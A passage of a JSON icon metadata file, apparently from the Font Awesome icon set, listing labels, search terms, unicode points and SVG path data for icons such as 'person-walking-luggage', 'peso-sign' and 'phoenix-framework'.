        "path": "M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM550.6 153.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L530.7 224H384c-17.7 0-32 14.3-32 32s14.3 32 32 32H530.7l-25.4 25.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3l-80-80z"
      }
    },
    "free": ["solid"]
  },
  "person-walking-dashed-line-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["exit", "refugee"]
    },
    "styles": ["solid"],
    "unicode": "e553",
    "label": "Person Walking Dashed Line Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM550.6 153.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L530.7 224H384c-17.7 0-32 14.3-32 32s14.3 32 32 32H530.7l-25.4 25.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3l-80-80zM392 0c-13.3 0-24 10.7-24 24V72c0 13.3 10.7 24 24 24s24-10.7 24-24V24c0-13.3-10.7-24-24-24zm24 152c0-13.3-10.7-24-24-24s-24 10.7-24 24v16c0 13.3 10.7 24 24 24s24-10.7 24-24V152zM392 320c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24s24-10.7 24-24V344c0-13.3-10.7-24-24-24zm24 120c0-13.3-10.7-24-24-24s-24 10.7-24 24v48c0 13.3 10.7 24 24 24s24-10.7 24-24V440z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM550.6 153.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L530.7 224H384c-17.7 0-32 14.3-32 32s14.3 32 32 32H530.7l-25.4 25.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3l-80-80zM392 0c-13.3 0-24 10.7-24 24V72c0 13.3 10.7 24 24 24s24-10.7 24-24V24c0-13.3-10.7-24-24-24zm24 152c0-13.3-10.7-24-24-24s-24 10.7-24 24v16c0 13.3 10.7 24 24 24s24-10.7 24-24V152zM392 320c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24s24-10.7 24-24V344c0-13.3-10.7-24-24-24zm24 120c0-13.3-10.7-24-24-24s-24 10.7-24 24v48c0 13.3 10.7 24 24 24s24-10.7 24-24V440z"
      }
    },
    "free": ["solid"]
  },
  "person-walking-luggage": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bag",
        "baggage",
        "briefcase",
        "carry-on",
        "deployment",
        "rolling"
      ]
    },
    "styles": ["solid"],
    "unicode": "e554",
    "label": "Person Walking Luggage",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M432 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM347.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L505 232.7l-15.3-36.8C472.5 154.8 432.3 128 387.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1l-25 62.4-59.4 59.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L340.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM256 274.1c-7.7-4.4-17.4-1.8-21.9 5.9l-32 55.4L147.7 304c-15.3-8.8-34.9-3.6-43.7 11.7L40 426.6c-8.8 15.3-3.6 34.9 11.7 43.7l55.4 32c15.3 8.8 34.9 3.6 43.7-11.7l64-110.9c1.5-2.6 2.6-5.2 3.3-8L261.9 296c4.4-7.7 1.8-17.4-5.9-21.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M432 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM347.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L505 232.7l-15.3-36.8C472.5 154.8 432.3 128 387.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1l-25 62.4-59.4 59.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L340.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM256 274.1c-7.7-4.4-17.4-1.8-21.9 5.9l-32 55.4L147.7 304c-15.3-8.8-34.9-3.6-43.7 11.7L40 426.6c-8.8 15.3-3.6 34.9 11.7 43.7l55.4 32c15.3 8.8 34.9 3.6 43.7-11.7l64-110.9c1.5-2.6 2.6-5.2 3.3-8L261.9 296c4.4-7.7 1.8-17.4-5.9-21.9z"
      }
    },
    "free": ["solid"]
  },
  "person-walking-with-cane": {
    "aliases": {
      "names": ["blind"],
      "unicodes": {
        "secondary": ["10f29d"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blind", "cane"]
    },
    "styles": ["solid"],
    "unicode": "f29d",
    "label": "Person Walking With Cane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8.4 32c-36.4 0-69.6 20.5-85.9 53.1L35.4 273.7c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3L128 231.6v43.2c0 17 6.7 33.3 18.7 45.3L224 397.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V390.6c0-12.7-5.1-24.9-14.1-33.9L224 306.7V213.3l70.4 93.9c10.6 14.1 30.7 17 44.8 6.4s17-30.7 6.4-44.8L268.8 166.4C250.7 142.2 222.2 128 192 128H167.6zM128.3 346.8L97 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l22-88.2-52.8-52.8zM450.8 505.1c5 7.3 15 9.1 22.3 4s9.1-15 4-22.3L358.9 316.1c-2.8 3.8-6.1 7.3-10.1 10.3c-5 3.8-10.5 6.4-16.2 7.9L450.8 505.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8.4 32c-36.4 0-69.6 20.5-85.9 53.1L35.4 273.7c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3L128 231.6v43.2c0 17 6.7 33.3 18.7 45.3L224 397.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V390.6c0-12.7-5.1-24.9-14.1-33.9L224 306.7V213.3l70.4 93.9c10.6 14.1 30.7 17 44.8 6.4s17-30.7 6.4-44.8L268.8 166.4C250.7 142.2 222.2 128 192 128H167.6zM128.3 346.8L97 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l22-88.2-52.8-52.8zM450.8 505.1c5 7.3 15 9.1 22.3 4s9.1-15 4-22.3L358.9 316.1c-2.8 3.8-6.1 7.3-10.1 10.3c-5 3.8-10.5 6.4-16.2 7.9L450.8 505.1z"
      }
    },
    "free": ["solid"]
  },
  "peseta-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Peseta Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e221",
    "label": "Peseta Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64v96c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 96V448c0 17.7 14.3 32 32 32s32-14.3 32-32V352h96c77.4 0 142-55 156.8-128H352c17.7 0 32-14.3 32-32s-14.3-32-32-32h-3.2C334 87 269.4 32 192 32H64zM282.5 160H96V96h96c41.8 0 77.4 26.7 90.5 64zM96 224H282.5c-13.2 37.3-48.7 64-90.5 64H96V224z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64v96c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 96V448c0 17.7 14.3 32 32 32s32-14.3 32-32V352h96c77.4 0 142-55 156.8-128H352c17.7 0 32-14.3 32-32s-14.3-32-32-32h-3.2C334 87 269.4 32 192 32H64zM282.5 160H96V96h96c41.8 0 77.4 26.7 90.5 64zM96 224H282.5c-13.2 37.3-48.7 64-90.5 64H96V224z"
      }
    },
    "free": ["solid"]
  },
  "peso-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Peso Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e222",
    "label": "Peso Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64v64c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 32c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 64v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c68.4 0 127.7-39 156.8-96H352c17.7 0 32-14.3 32-32s-14.3-32-32-32h-.7c.5-5.3 .7-10.6 .7-16s-.2-10.7-.7-16h.7c17.7 0 32-14.3 32-32s-14.3-32-32-32H332.8C303.7 71 244.4 32 176 32H64zm190.4 96H96V96h80c30.5 0 58.2 12.2 78.4 32zM96 192H286.9c.7 5.2 1.1 10.6 1.1 16s-.4 10.8-1.1 16H96V192zm158.4 96c-20.2 19.8-47.9 32-78.4 32H96V288H254.4z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64v64c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 32c-17.7 0-32 14.3-32 32s14.3 32 32 32l0 64v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c68.4 0 127.7-39 156.8-96H352c17.7 0 32-14.3 32-32s-14.3-32-32-32h-.7c.5-5.3 .7-10.6 .7-16s-.2-10.7-.7-16h.7c17.7 0 32-14.3 32-32s-14.3-32-32-32H332.8C303.7 71 244.4 32 176 32H64zm190.4 96H96V96h80c30.5 0 58.2 12.2 78.4 32zM96 192H286.9c.7 5.2 1.1 10.6 1.1 16s-.4 10.8-1.1 16H96V192zm158.4 96c-20.2 19.8-47.9 32-78.4 32H96V288H254.4z"
      }
    },
    "free": ["solid"]
  },
  "phabricator": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3db",
    "label": "Phabricator",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z"
      }
    },
    "free": ["brands"]
  },
  "phoenix-framework": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3dc",
    "label": "Phoenix Framework",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z"
      }
    },
    "free": ["brands"]
  },
  "phoenix-squadron": {
    "changes": ["5.0.12", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f511",
    "label": "Phoenix Squadron",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 